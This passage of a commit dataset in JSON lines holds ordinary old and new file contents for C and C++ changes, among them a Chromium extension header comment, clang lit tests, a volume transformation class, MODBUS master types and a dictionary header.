afi\/Algorithm-Implementations,rohanp\/Algorithm-Implementations,kennyledet\/Algorithm-Implementations,girishramnani\/Algorithm-Implementations,jiang42\/Algorithm-Implementations,movb\/Algorithm-Implementations,n1ghtmare\/Algorithm-Implementations,AntonioModer\/Algorithm-Implementations,isalnikov\/Algorithm-Implementations,varunparkhe\/Algorithm-Implementations,rohanp\/Algorithm-Implementations,warreee\/Algorithm-Implementations,aayushKumarJarvis\/Algorithm-Implementations,Yonaba\/Algorithm-Implementations,rohanp\/Algorithm-Implementations,jb1717\/Algorithm-Implementations,imrandomizer\/Algorithm-Implementations,kennyledet\/Algorithm-Implementations,Yonaba\/Algorithm-Implementations,Yonaba\/Algorithm-Implementations,imrandomizer\/Algorithm-Implementations,Etiene\/Algorithm-Implementations,Sweet-kid\/Algorithm-Implementations,mishin\/Algorithm-Implementations,Endika\/Algorithm-Implementations,movb\/Algorithm-Implementations,imanmafi\/Algorithm-Implementations,imanmafi\/Algorithm-Implementations,kennyledet\/Algorithm-Implementations,isalnikov\/Algorithm-Implementations,Endika\/Algorithm-Implementations,isalnikov\/Algorithm-Implementations,jb1717\/Algorithm-Implementations,AntonioModer\/Algorithm-Implementations,praveenjha527\/Algorithm-Implementations,joshimoo\/Algorithm-Implementations,pravsingh\/Algorithm-Implementations,imanmafi\/Algorithm-Implementations,rohanp\/Algorithm-Implementations,pravsingh\/Algorithm-Implementations,Etiene\/Algorithm-Implementations,warreee\/Algorithm-Implementations,Yonaba\/Algorithm-Implementations,Endika\/Algorithm-Implementations,warreee\/Algorithm-Implementations,mishin\/Algorithm-Implementations,movb\/Algorithm-Implementations,n1ghtmare\/Algorithm-Implementations,Sweet-kid\/Algorithm-Implementations,n1ghtmare\/Algorithm-Implementations,varunparkhe\/Algorithm-Implementations,pravsingh\/Algorithm-Implementations,joshimoo\/Algorithm-Implementations,jiang42\/Algorithm-Implementations,warreee\/Algorithm-Implementations,kennyledet\/Algorithm-Implementations,vikas17a\/Algorithm-Implementations,mishin\/Algorithm-Implementations,n1ghtmare\/Algorithm-Implementations,jb1717\/Algorithm-Implementations,Yonaba\/Algorithm-Implementations,girishramnani\/Algorithm-Implementations,imanmafi\/Algorithm-Implementations,pravsingh\/Algorithm-Implementations,girishramnani\/Algorithm-Implementations,warreee\/Algorithm-Implementations,rohanp\/Algorithm-Implementations,isalnikov\/Algorithm-Implementations,pravsingh\/Algorithm-Implementations,joshimoo\/Algorithm-Implementations,varunparkhe\/Algorithm-Implementations,kennyledet\/Algorithm-Implementations,mishin\/Algorithm-Implementations,jiang42\/Algorithm-Implementations,n1ghtmare\/Algorithm-Implementations,imrandomizer\/Algorithm-Implementations,movb\/Algorithm-Implementations,vikas17a\/Algorithm-Implementations,Endika\/Algorithm-Implementations,Endika\/Algorithm-Implementations,vikas17a\/Algorithm-Implementations,kennyledet\/Algorithm-Implementations,jb1717\/Algorithm-Implementations,Endika\/Algorithm-Implementations,mishin\/Algorithm-Implementations,praveenjha527\/Algorithm-Implementations,kidaa\/Algorithm-Implementations,praveenjha527\/Algorithm-Implementations,sugiartocokrowibowo\/Algorithm-Implementations,Sweet-kid\/Algorithm-Implementations,sugiartocokrowibowo\/Algorithm-Implementations,kidaa\/Algorithm-Implementations,Sweet-kid\/Algorithm-Implementations,jiang42\/Algorithm-Implementations,girishramnani\/Algorithm-Implementations,AntonioModer\/Algorithm-Implementations,joshimoo\/Algorithm-Implementations,Etiene\/Algorithm-Implementations,joshimoo\/Algorithm-Implementations,girishramnani\/Algorithm-Implementations,praveenjha527\/Algorithm-Implementations,imrandomizer\/Algorithm-Implementations,girishramnani\/Algorithm-Implementations,Sweet-kid\/Algorithm-Implementations,movb\/Algorithm-Implementations,mishin\/Algorithm-Implementations,joshimoo\/Algorithm-Implementations,imanmafi\/Algorithm-Implementations,girishramnani\/Algorithm-Implementations,rohanp\/Algorithm-Implementations,warreee\/Algorithm-Implementations,sugiartocokrowibowo\/Algorithm-Implementations,jb1717\/Algorithm-Implementations,kennyledet\/Algorithm-Implementations,pravsingh\/Algorithm-Implementations,imanmafi\/Algorithm-Implementations,vikas17a\/Algorithm-Implementations,isalnikov\/Algorithm-Implementations,imrandomizer\/Algorithm-Implementations,n1ghtmare\/Algorithm-Implementations,jiang42\/Algorithm-Implementations,mishin\/Algorithm-Implementations,rohanp\/Algorithm-Implementations,isalnikov\/Algorithm-Implementations,n1ghtmare\/Algorithm-Implementations,rohanp\/Algorithm-Implementations,kidaa\/Algorithm-Implementations,varunparkhe\/Algorithm-Implementations,sugiartocokrowibowo\/Algorithm-Implementations,pravsingh\/Algorithm-Implementations,isalnikov\/Algorithm-Implementations,warreee\/Algorithm-Implementations,kennyledet\/Algorithm-Implementations,Yonaba\/Algorithm-Implementations,varunparkhe\/Algorithm-Implementations,n1ghtmare\/Algorithm-Implementations,praveenjha527\/Algorithm-Implementations,vikas17a\/Algorithm-Implementations,imrandomizer\/Algorithm-Implementations,praveenjha527\/Algorithm-Implementations,Etiene\/Algorithm-Implementations,Endika\/Algorithm-Implementations,pravsingh\/Algorithm-Implementations,movb\/Algorithm-Implementations,Sweet-kid\/Algorithm-Implementations,warreee\/Algorithm-Implementations,jiang42\/Algorithm-Implementations,Etiene\/Algorithm-Implementations,praveenjha527\/Algorithm-Implementations,varunparkhe\/Algorithm-Implementations,movb\/Algorithm-Implementations,movb\/Algorithm-Implementations,warreee\/Algorithm-Implementations,imanmafi\/Algorithm-Implementations,jiang42\/Algorithm-Implementations,Sweet-kid\/Algorithm-Implementations"}
{"commit":"e2a56532a31b57dbe6e8f6bec74899deb724b2a3","old_file":"chrome\/browser\/extensions\/extension_message_handler.h","new_file":"chrome\/browser\/extensions\/extension_message_handler.h","old_contents":"\/\/ Copyright (c) 2011 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef CHROME_BROWSER_EXTENSIONS_EXTENSION_MESSAGE_HANDLER_H_\n#define CHROME_BROWSER_EXTENSIONS_EXTENSION_MESSAGE_HANDLER_H_\n#pragma once\n\n#include \"content\/browser\/renderer_host\/render_view_host_observer.h\"\n\nclass Profile;\nstruct ExtensionHostMsg_DomMessage_Params;\n\n\/\/ Filters and dispatches extension-related IPC messages that arrive from\n\/\/ renderer\/extension processes.  This object is created for renderers and also\n\/\/ ExtensionHost\/BackgroundContents.  Contrast this with ExtensionTabHelper,\n\/\/ which is only created for TabContents.\nclass ExtensionMessageHandler : public RenderViewHostObserver {\n public:\n  \/\/ |sender| is guaranteed to outlive this object.\n  explicit ExtensionMessageHandler(RenderViewHost* render_view_host);\n  virtual ~ExtensionMessageHandler();\n\n  \/\/ RenderViewHostObserver overrides.\n  virtual bool OnMessageReceived(const IPC::Message& message);\n\n private:\n  \/\/ Message handlers.\n  void OnPostMessage(int port_id, const std::string& message);\n  void OnRequest(const ExtensionHostMsg_DomMessage_Params& params);\n\n  DISALLOW_COPY_AND_ASSIGN(ExtensionMessageHandler);\n};\n\n#endif  \/\/ CHROME_BROWSER_EXTENSIONS_EXTENSION_MESSAGE_HANDLER_H_\n","new_contents":"\/\/ Copyright (c) 2011 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef CHROME_BROWSER_EXTENSIONS_EXTENSION_MESSAGE_HANDLER_H_\n#define CHROME_BROWSER_EXTENSIONS_EXTENSION_MESSAGE_HANDLER_H_\n#pragma once\n\n#include \"content\/browser\/renderer_host\/render_view_host_observer.h\"\n\nclass Profile;\nstruct ExtensionHostMsg_DomMessage_Params;\n\n\/\/ Filters and dispatches extension-related IPC messages that arrive from\n\/\/ renderers. There is one of these objects for each RenderViewHost in Chrome.\n\/\/ Contrast this with ExtensionTabHelper, which is only created for TabContents.\nclass ExtensionMessageHandler : public RenderViewHostObserver {\n public:\n  \/\/ |sender| is guaranteed to outlive this object.\n  explicit ExtensionMessageHandler(RenderViewHost* render_view_host);\n  virtual ~ExtensionMessageHandler();\n\n  \/\/ RenderViewHostObserver overrides.\n  virtual bool OnMessageReceived(const IPC::Message& message);\n\n private:\n  \/\/ Message handlers.\n  void OnPostMessage(int port_id, const std::string& message);\n  void OnRequest(const ExtensionHostMsg_DomMessage_Params& params);\n\n  DISALLOW_COPY_AND_ASSIGN(ExtensionMessageHandler);\n};\n\n#endif  \/\/ CHROME_BROWSER_EXTENSIONS_EXTENSION_MESSAGE_HANDLER_H_\n","subject":"Clarify class comment for ExtensionMessageHandler.","message":"Clarify class comment for ExtensionMessageHandler.\n\nTBR=jam@chromium.org\n\ngit-svn-id: de016e52bd170d2d4f2344f9bf92d50478b649e0@82674 0039d316-1c4b-4281-b951-d872f2087c98\n","lang":"C","license":"bsd-3-clause","repos":"patrickm\/chromium.src,rogerwang\/chromium,pozdnyakov\/chromium-crosswalk,ltilve\/chromium,axinging\/chromium-crosswalk,zcbenz\/cefode-chromium,ltilve\/chromium,fujunwei\/chromium-crosswalk,markYoungH\/chromium.src,ondra-novak\/chromium.src,robclark\/chromium,axinging\/chromium-crosswalk,axinging\/chromium-crosswalk,mohamed--abdel-maksoud\/chromium.src,anirudhSK\/chromium,junmin-zhu\/chromium-rivertrail,patrickm\/chromium.src,dushu1203\/chromium.src,mogoweb\/chromium-crosswalk,zcbenz\/cefode-chromium,fujunwei\/chromium-crosswalk,pozdnyakov\/chromium-crosswalk,junmin-zhu\/chromium-rivertrail,Just-D\/chromium-1,littlstar\/chromium.src,littlstar\/chromium.src,hujiajie\/pa-chromium,markYoungH\/chromium.src,zcbenz\/cefode-chromium,Fireblend\/chromium-crosswalk,Just-D\/chromium-1,pozdnyakov\/chromium-crosswalk,nacl-webkit\/chrome_deps,mohamed--abdel-maksoud\/chromium.src,nacl-webkit\/chrome_deps,ltilve\/chromium,dushu1203\/chromium.src,M4sse\/chromium.src,chuan9\/chromium-crosswalk,junmin-zhu\/chromium-rivertrail,M4sse\/chromium.src,Chilledheart\/chromium,mogoweb\/chromium-crosswalk,Chilledheart\/chromium,zcbenz\/cefode-chromium,anirudhSK\/chromium,Just-D\/chromium-1,rogerwang\/chromium,hgl888\/chromium-crosswalk,bright-sparks\/chromium-spacewalk,hgl888\/chromium-crosswalk,anirudhSK\/chromium,dushu1203\/chromium.src,timopulkkinen\/BubbleFish,chuan9\/chromium-crosswalk,ondra-novak\/chromium.src,crosswalk-project\/chromium-crosswalk-efl,ChromiumWebApps\/chromium,pozdnyakov\/chromium-crosswalk,zcbenz\/cefode-chromium,Jonekee\/chromium.src,hgl888\/chromium-crosswalk-efl,dushu1203\/chromium.src,crosswalk-project\/chromium-crosswalk-efl,jaruba\/chromium.src,krieger-od\/nwjs_chromium.src,Jonekee\/chromium.src,TheTypoMaster\/chromium-crosswalk,littlstar\/chromium.src,Pluto-tv\/chromium-crosswalk,Chilledheart\/chromium,M4sse\/chromium.src,markYoungH\/chromium.src,hujiajie\/pa-chromium,rogerwang\/chromium,dednal\/chromium.src,anirudhSK\/chromium,mohamed--abdel-maksoud\/chromium.src,patrickm\/chromium.src,keishi\/chromium,Jonekee\/chromium.src,ChromiumWebApps\/chromium,jaruba\/chromium.src,hgl888\/chromium-crosswalk-efl,nacl-webkit\/chrome_deps,chuan9\/chromium-crosswalk,junmin-zhu\/chromium-rivertrail,keishi\/chromium,ChromiumWebApps\/chromium,ltilve\/chromium,chuan9\/chromium-crosswalk,keishi\/chromium,zcbenz\/cefode-chromium,krieger-od\/nwjs_chromium.src,rogerwang\/chromium,mogoweb\/chromium-crosswalk,ChromiumWebApps\/chromium,hgl888\/chromium-crosswalk-efl,rogerwang\/chromium,PeterWangIntel\/chromium-crosswalk,anirudhSK\/chromium,PeterWangIntel\/chromium-crosswalk,bright-sparks\/chromium-spacewalk,nacl-webkit\/chrome_deps,markYoungH\/chromium.src,littlstar\/chromium.src,zcbenz\/cefode-chromium,Just-D\/chromium-1,nacl-webkit\/chrome_deps,hujiajie\/pa-chromium,zcbenz\/cefode-chromium,hgl888\/chromium-crosswalk,PeterWangIntel\/chromium-crosswalk,fujunwei\/chromium-crosswalk,junmin-zhu\/chromium-rivertrail,axinging\/chromium-crosswalk,dushu1203\/chromium.src,hujiajie\/pa-chromium,patrickm\/chromium.src,M4sse\/chromium.src,hgl888\/chromium-crosswalk,crosswalk-project\/chromium-crosswalk-efl,Chilledheart\/chromium,junmin-zhu\/chromium-rivertrail,hgl888\/chromium-crosswalk,Jonekee\/chromium.src,pozdnyakov\/chromium-crosswalk,fujunwei\/chromium-crosswalk,Jonekee\/chromium.src,mogoweb\/chromium-crosswalk,Pluto-tv\/chromium-crosswalk,dushu1203\/chromium.src,hujiajie\/pa-chromium,hgl888\/chromium-crosswalk-efl,littlstar\/chromium.src,robclark\/chromium,fujunwei\/chromium-crosswalk,robclark\/chromium,Jonekee\/chromium.src,junmin-zhu\/chromium-rivertrail,ondra-novak\/chromium.src,hgl888\/chromium-crosswalk-efl,chuan9\/chromium-crosswalk,nacl-webkit\/chrome_deps,ChromiumWebApps\/chromium,pozdnyakov\/chromium-crosswalk,M4sse\/chromium.src,krieger-od\/nwjs_chromium.src,anirudhSK\/chromium,hujiajie\/pa-chromium,TheTypoMaster\/chromium-crosswalk,ChromiumWebApps\/chromium,Chilledheart\/chromium,bright-sparks\/chromium-spacewalk,keishi\/chromium,mogoweb\/chromium-crosswalk,ltilve\/chromium,nacl-webkit\/chrome_deps,Pluto-tv\/chromium-crosswalk,markYoungH\/chromium.src,timopulkkinen\/BubbleFish,Just-D\/chromium-1,Fireblend\/chromium-crosswalk,mogoweb\/chromium-crosswalk,axinging\/chromium-crosswalk,crosswalk-project\/chromium-crosswalk-efl,robclark\/chromium,dednal\/chromium.src,mohamed--abdel-maksoud\/chromium.src,nacl-webkit\/chrome_deps,hgl888\/chromium-crosswalk-efl,krieger-od\/nwjs_chromium.src,jaruba\/chromium.src,junmin-zhu\/chromium-rivertrail,Just-D\/chromium-1,crosswalk-project\/chromium-crosswalk-efl,markYoungH\/chromium.src,anirudhSK\/chromium,rogerwang\/chromium,Fireblend\/chromium-crosswalk,PeterWangIntel\/chromium-crosswalk,nacl-webkit\/chrome_deps,markYoungH\/chromium.src,Just-D\/chromium-1,anirudhSK\/chromium,mogoweb\/chromium-crosswalk,timopulkkinen\/BubbleFish,timopulkkinen\/BubbleFish,timopulkkinen\/BubbleFish,anirudhSK\/chromium,patrickm\/chromium.src,dednal\/chromium.src,hujiajie\/pa-chromium,littlstar\/chromium.src,krieger-od\/nwjs_chromium.src,axinging\/chromium-crosswalk,zcbenz\/cefode-chromium,rogerwang\/chromium,axinging\/chromium-crosswalk,Fireblend\/chromium-crosswalk,Pluto-tv\/chromium-crosswalk,TheTypoMaster\/chromium-crosswalk,keishi\/chromium,ChromiumWebApps\/chromium,patrickm\/chromium.src,robclark\/chromium,Jonekee\/chromium.src,timopulkkinen\/BubbleFish,TheTypoMaster\/chromium-crosswalk,jaruba\/chromium.src,dednal\/chromium.src,dednal\/chromium.src,Chilledheart\/chromium,hujiajie\/pa-chromium,timopulkkinen\/BubbleFish,keishi\/chromium,chuan9\/chromium-crosswalk,rogerwang\/chromium,robclark\/chromium,M4sse\/chromium.src,hgl888\/chromium-crosswalk-efl,ChromiumWebApps\/chromium,dushu1203\/chromium.src,patrickm\/chromium.src,krieger-od\/nwjs_chromium.src,markYoungH\/chromium.src,chuan9\/chromium-crosswalk,hujiajie\/pa-chromium,Fireblend\/chromium-crosswalk,pozdnyakov\/chromium-crosswalk,patrickm\/chromium.src,Pluto-tv\/chromium-crosswalk,junmin-zhu\/chromium-rivertrail,crosswalk-project\/chromium-crosswalk-efl,krieger-od\/nwjs_chromium.src,ltilve\/chromium,Fireblend\/chromium-crosswalk,dednal\/chromium.src,TheTypoMaster\/chromium-crosswalk,rogerwang\/chromium,Fireblend\/chromium-crosswalk,TheTypoMaster\/chromium-crosswalk,markYoungH\/chromium.src,ltilve\/chromium,dushu1203\/chromium.src,mohamed--abdel-maksoud\/chromium.src,jaruba\/chromium.src,hujiajie\/pa-chromium,Chilledheart\/chromium,timopulkkinen\/BubbleFish,Pluto-tv\/chromium-crosswalk,M4sse\/chromium.src,ondra-novak\/chromium.src,ChromiumWebApps\/chromium,fujunwei\/chromium-crosswalk,ChromiumWebApps\/chromium,dednal\/chromium.src,keishi\/chromium,nacl-webkit\/chrome_deps,krieger-od\/nwjs_chromium.src,anirudhSK\/chromium,dushu1203\/chromium.src,fujunwei\/chromium-crosswalk,bright-sparks\/chromium-spacewalk,PeterWangIntel\/chromium-crosswalk,jaruba\/chromium.src,pozdnyakov\/chromium-crosswalk,Just-D\/chromium-1,chuan9\/chromium-crosswalk,krieger-od\/nwjs_chromium.src,krieger-od\/nwjs_chromium.src,Chilledheart\/chromium,dednal\/chromium.src,patrickm\/chromium.src,mogoweb\/chromium-crosswalk,keishi\/chromium,axinging\/chromium-crosswalk,jaruba\/chromium.src,dednal\/chromium.src,Fireblend\/chromium-crosswalk,anirudhSK\/chromium,PeterWangIntel\/chromium-crosswalk,bright-sparks\/chromium-spacewalk,hgl888\/chromium-crosswalk-efl,robclark\/chromium,crosswalk-project\/chromium-crosswalk-efl,bright-sparks\/chromium-spacewalk,Pluto-tv\/chromium-crosswalk,markYoungH\/chromium.src,jaruba\/chromium.src,junmin-zhu\/chromium-rivertrail,mogoweb\/chromium-crosswalk,ondra-novak\/chromium.src,ChromiumWebApps\/chromium,ltilve\/chromium,krieger-od\/nwjs_chromium.src,fujunwei\/chromium-crosswalk,hgl888\/chromium-crosswalk,M4sse\/chromium.src,keishi\/chromium,axinging\/chromium-crosswalk,hgl888\/chromium-crosswalk,keishi\/chromium,PeterWangIntel\/chromium-crosswalk,jaruba\/chromium.src,ondra-novak\/chromium.src,Jonekee\/chromium.src,robclark\/chromium,hgl888\/chromium-crosswalk-efl,hgl888\/chromium-crosswalk-efl,TheTypoMaster\/chromium-crosswalk,Pluto-tv\/chromium-crosswalk,pozdnyakov\/chromium-crosswalk,zcbenz\/cefode-chromium,ondra-novak\/chromium.src,ltilve\/chromium,Jonekee\/chromium.src,axinging\/chromium-crosswalk,bright-sparks\/chromium-spacewalk,dushu1203\/chromium.src,mohamed--abdel-maksoud\/chromium.src,dednal\/chromium.src,M4sse\/chromium.src,ChromiumWebApps\/chromium,junmin-zhu\/chromium-rivertrail,crosswalk-project\/chromium-crosswalk-efl,dushu1203\/chromium.src,timopulkkinen\/BubbleFish,mohamed--abdel-maksoud\/chromium.src,chuan9\/chromium-crosswalk,dednal\/chromium.src,Fireblend\/chromium-crosswalk,M4sse\/chromium.src,ondra-novak\/chromium.src,PeterWangIntel\/chromium-crosswalk,markYoungH\/chromium.src,mogoweb\/chromium-crosswalk,mohamed--abdel-maksoud\/chromium.src,axinging\/chromium-crosswalk,TheTypoMaster\/chromium-crosswalk,Chilledheart\/chromium,nacl-webkit\/chrome_deps,M4sse\/chromium.src,jaruba\/chromium.src,keishi\/chromium,hujiajie\/pa-chromium,mohamed--abdel-maksoud\/chromium.src,ondra-novak\/chromium.src,mohamed--abdel-maksoud\/chromium.src,Jonekee\/chromium.src,pozdnyakov\/chromium-crosswalk,jaruba\/chromium.src,fujunwei\/chromium-crosswalk,hgl888\/chromium-crosswalk,Pluto-tv\/chromium-crosswalk,bright-sparks\/chromium-spacewalk,robclark\/chromium,hgl888\/chromium-crosswalk,mohamed--abdel-maksoud\/chromium.src,TheTypoMaster\/chromium-crosswalk,pozdnyakov\/chromium-crosswalk,littlstar\/chromium.src,bright-sparks\/chromium-spacewalk,anirudhSK\/chromium,zcbenz\/cefode-chromium,Just-D\/chromium-1,timopulkkinen\/BubbleFish,PeterWangIntel\/chromium-crosswalk,timopulkkinen\/BubbleFish,crosswalk-project\/chromium-crosswalk-efl,rogerwang\/chromium,littlstar\/chromium.src,robclark\/chromium,Jonekee\/chromium.src"}
{"commit":"93bab8bda167cd28c0b356001a043927ff9f9a50","old_file":"test\/Driver\/XRay\/xray-instrument-os.c","new_file":"test\/Driver\/XRay\/xray-instrument-os.c","old_contents":"\/\/ RUN: not %clang -o \/dev\/null -v -fxray-instrument -c %s\n\/\/ XFAIL: -linux-\n\/\/ REQUIRES-ANY: amd64, x86_64, x86_64h, arm, aarch64, arm64\ntypedef int a;\n","new_contents":"\/\/ RUN: not %clang -o \/dev\/null -v -fxray-instrument -c %s\n\/\/ XFAIL: -linux-\n\/\/ REQUIRES: amd64 || x86_64 || x86_64h || arm || aarch64 || arm64\ntypedef int a;\n","subject":"Replace `REQUIRES-ANY: a, b, c` with `REQUIRES: a || b || c`.","message":"[test] Replace `REQUIRES-ANY: a, b, c` with `REQUIRES: a || b || c`.\n\nRequires the new `lit` boolean expressions in LLVM r292896.\n\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@292897 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang"}
{"commit":"090cf42f736ad66ecc9360cf2770d83f8ea30574","old_file":"3RVX\/Controllers\/Volume\/VolumeTransformation.h","new_file":"3RVX\/Controllers\/Volume\/VolumeTransformation.h","old_contents":"#pragma once\n\nclass VolumeTransformation {\npublic:\n    \/\/\/ <summary>\n    \/\/\/ Transforms a given volume level to a new (\"virtual\") level based on a\n    \/\/\/ formula or set of rules (e.g., a volume curve transformation).\n    \/\/\/ <\/summary>\n    virtual float Apply(float vol) = 0;\n\n    \/\/\/ <summary>\n    \/\/\/ Given a transformed (\"virtual\") volume value, this function reverts it \n    \/\/\/ back to its original value (assuming the given value was produced\n    \/\/\/ by the ToVirtual() function).\n    \/\/\/ <\/summary>\n    virtual float Revert(float vol) = 0;\n};","new_contents":"#pragma once\n\nclass VolumeTransformation {\npublic:\n    \/\/\/ <summary>\n    \/\/\/ Transforms a given volume level to a new (\"virtual\") level based on a\n    \/\/\/ formula or set of rules (e.g., a volume curve transformation).\n    \/\/\/ <\/summary>\n    virtual float Apply(float vol) = 0;\n\n    \/\/\/ <summary>\n    \/\/\/ Given a transformed (\"virtual\") volume value, this function reverts it \n    \/\/\/ back to its original value (assuming the given value was produced\n    \/\/\/ by the ToVirtual() function).\n    \/\/\/ <\/summary>\n    virtual float Revert(float vol) = 0;\n\n    \/\/\/ <summary>\n    \/\/\/ Applies several transformations supplied as a vector to the initial\n    \/\/\/ value provided. The transformations are applied in order of appearance \n    \/\/\/ in the vector.\n    \/\/\/ <\/summary>\n    static float ApplyTransformations(\n            std::vector<VolumeTransformation *> &transforms, float initialVal) {\n        float newVal = initialVal;\n        for (VolumeTransformation *trans : transforms) {\n            newVal = trans->Apply(newVal);\n        }\n        return newVal;\n    }\n\n    \/\/\/ <summary>\n    \/\/\/ Reverts several transformations, starting with a transformed (\"virtual\")\n    \/\/\/ value. This method reverts the transformations in reverse order.\n    \/\/\/ <\/summary>\n    static float RevertTransformations(\n            std::vector<VolumeTransformation *> &transforms, float virtVal) {\n        float newVal = virtVal;\n        for (auto it = transforms.rbegin(); it != transforms.rend(); ++it) {\n            newVal = (*it)->Revert(newVal);\n        }\n        return newVal;\n    }\n};","subject":"Add methods to apply multiple transformations","message":"Add methods to apply multiple transformations\n","lang":"C","license":"bsd-2-clause","repos":"malensek\/3RVX,malensek\/3RVX,malensek\/3RVX"}
{"commit":"0d2669635000a9815823129f10641fecfbe68da3","old_file":"master\/types.h","new_file":"master\/types.h","old_contents":"\/\/Declarations for master types\n\ntypedef enum\n{\n\tRegister = 0\n} MODBUSDataType; \/\/MODBUS data types enum (coil, register, input, etc.)\n\ntypedef struct\n{\n\tuint8_t Address; \/\/Device address\n\tuint8_t Code; \/\/Exception code\n} MODBUSExceptionLog; \/\/Parsed exception data\n\ntypedef struct\n{\n\tuint8_t Address; \/\/Device address\n\tMODBUSDataType DataType; \/\/Data type\n\tuint16_t Register; \/\/Register, coil, input ID\n\tuint16_t Value; \/\/Value of data\n} MODBUSData;\n\ntypedef struct\n{\n\tuint8_t Length; \/\/Length of frame, if it's equal to 0, frame is not ready\n\tuint8_t *Frame; \/\/Request frame content\n} MODBUSRequestStatus; \/\/Type containing information about frame that is set up at master side\n\ntypedef struct\n{\n\tMODBUSData *Data; \/\/Data read from slave\n\tMODBUSExceptionLog Exception; \/\/Optional exception read\n\tMODBUSRequestStatus Request; \/\/Formatted request for slave\n\tuint8_t DataLength; \/\/Count of data type instances read from slave\n\tuint8_t Error; \/\/Have any error occured?\n} MODBUSMasterStatus; \/\/Type containing master device configuration data\n","new_contents":"\/\/Declarations for master types\n\ntypedef enum\n{\n\tRegister = 0\n} MODBUSDataType; \/\/MODBUS data types enum (coil, register, input, etc.)\n\ntypedef struct\n{\n\tuint8_t Address; \/\/Device address\n\tuint8_t Function; \/\/Function called, in which exception occured\n\tuint8_t Code; \/\/Exception code\n} MODBUSExceptionLog; \/\/Parsed exception data\n\ntypedef struct\n{\n\tuint8_t Address; \/\/Device address\n\tMODBUSDataType DataType; \/\/Data type\n\tuint16_t Register; \/\/Register, coil, input ID\n\tuint16_t Value; \/\/Value of data\n} MODBUSData;\n\ntypedef struct\n{\n\tuint8_t Length; \/\/Length of frame, if it's equal to 0, frame is not ready\n\tuint8_t *Frame; \/\/Request frame content\n} MODBUSRequestStatus; \/\/Type containing information about frame that is set up at master side\n\ntypedef struct\n{\n\tMODBUSData *Data; \/\/Data read from slave\n\tMODBUSExceptionLog Exception; \/\/Optional exception read\n\tMODBUSRequestStatus Request; \/\/Formatted request for slave\n\tuint8_t DataLength; \/\/Count of data type instances read from slave\n\tuint8_t Error; \/\/Have any error occured?\n} MODBUSMasterStatus; \/\/Type containing master device configuration data\n","subject":"Add function ID member in MODBUSExceptionLog structure","message":"Add function ID member in MODBUSExceptionLog structure\n","lang":"C","license":"mit","repos":"Jacajack\/modlib"}
{"commit":"3463c9ea4607dd986af7d82c905acbb8b2e21f27","old_file":"test\/Analysis\/std-c-library-functions-inlined.c","new_file":"test\/Analysis\/std-c-library-functions-inlined.c","old_contents":"","new_contents":"\/\/ RUN: %clang_analyze_cc1 -analyzer-checker=unix.StdCLibraryFunctions -verify %s\n\/\/ RUN: %clang_analyze_cc1 -triple i686-unknown-linux -analyzer-checker=unix.StdCLibraryFunctions -verify %s\n\/\/ RUN: %clang_analyze_cc1 -triple x86_64-unknown-linux -analyzer-checker=unix.StdCLibraryFunctions -verify %s\n\/\/ RUN: %clang_analyze_cc1 -triple armv7-a15-linux -analyzer-checker=unix.StdCLibraryFunctions -verify %s\n\/\/ RUN: %clang_analyze_cc1 -triple thumbv7-a15-linux -analyzer-checker=unix.StdCLibraryFunctions -verify %s\n\n\/\/ This test tests crashes that occur when standard functions are available\n\/\/ for inlining.\n\n\/\/ expected-no-diagnostics\n\nint isdigit(int _) { return !0; }\nvoid test_redefined_isdigit(int x) {\n  int (*func)(int) = isdigit;\n  for (; func(x);) \/\/ no-crash\n    ;\n}\n","subject":"Add a test forgotten in r339088.","message":"[analyzer] Add a test forgotten in r339088.\n\nDifferential Revision: https:\/\/reviews.llvm.org\/D50363\n\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@339726 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang"}
{"commit":"9705782c98265c05bc87a10b1fb69bd35781c754","old_file":"decoder\/dict.h","new_file":"decoder\/dict.h","old_contents":"#ifndef DICT_H_\n#define DICT_H_\n\n#include <cassert>\n#include <cstring>\n#include <tr1\/unordered_map>\n#include <string>\n#include <vector>\n\n#include <boost\/functional\/hash.hpp>\n\n#include \"wordid.h\"\n\nclass Dict {\n typedef std::tr1::unordered_map<std::string, WordID, boost::hash<std::string> > Map;\n public:\n  Dict() : b0_(\"<bad0>\") { words_.reserve(1000); }\n  inline int max() const { return words_.size(); }\n  inline WordID Convert(const std::string& word, bool frozen = false) {\n    Map::iterator i = d_.find(word);\n    if (i == d_.end()) {\n      if (frozen)\n        return 0;\n      words_.push_back(word);\n      d_[word] = words_.size();\n      return words_.size();\n    } else {\n      return i->second;\n    }\n  }\n  inline const std::string& Convert(const WordID& id) const {\n    if (id == 0) return b0_;\n    assert(id <= words_.size());\n    return words_[id-1];\n  }\n  void clear() { words_.clear(); d_.clear(); }\n private:\n  const std::string b0_;\n  std::vector<std::string> words_;\n  Map d_;\n};\n\n#endif\n","new_contents":"#ifndef DICT_H_\n#define DICT_H_\n\n#include <cassert>\n#include <cstring>\n#include <tr1\/unordered_map>\n#include <string>\n#include <vector>\n\n#include <boost\/functional\/hash.hpp>\n\n#include \"wordid.h\"\n\nclass Dict {\n typedef std::tr1::unordered_map<std::string, WordID, boost::hash<std::string> > Map;\n\n public:\n  Dict() : b0_(\"<bad0>\") { words_.reserve(1000); }\n\n  inline int max() const { return words_.size(); }\n\n  inline WordID Convert(const std::string& word, bool frozen = false) {\n    Map::iterator i = 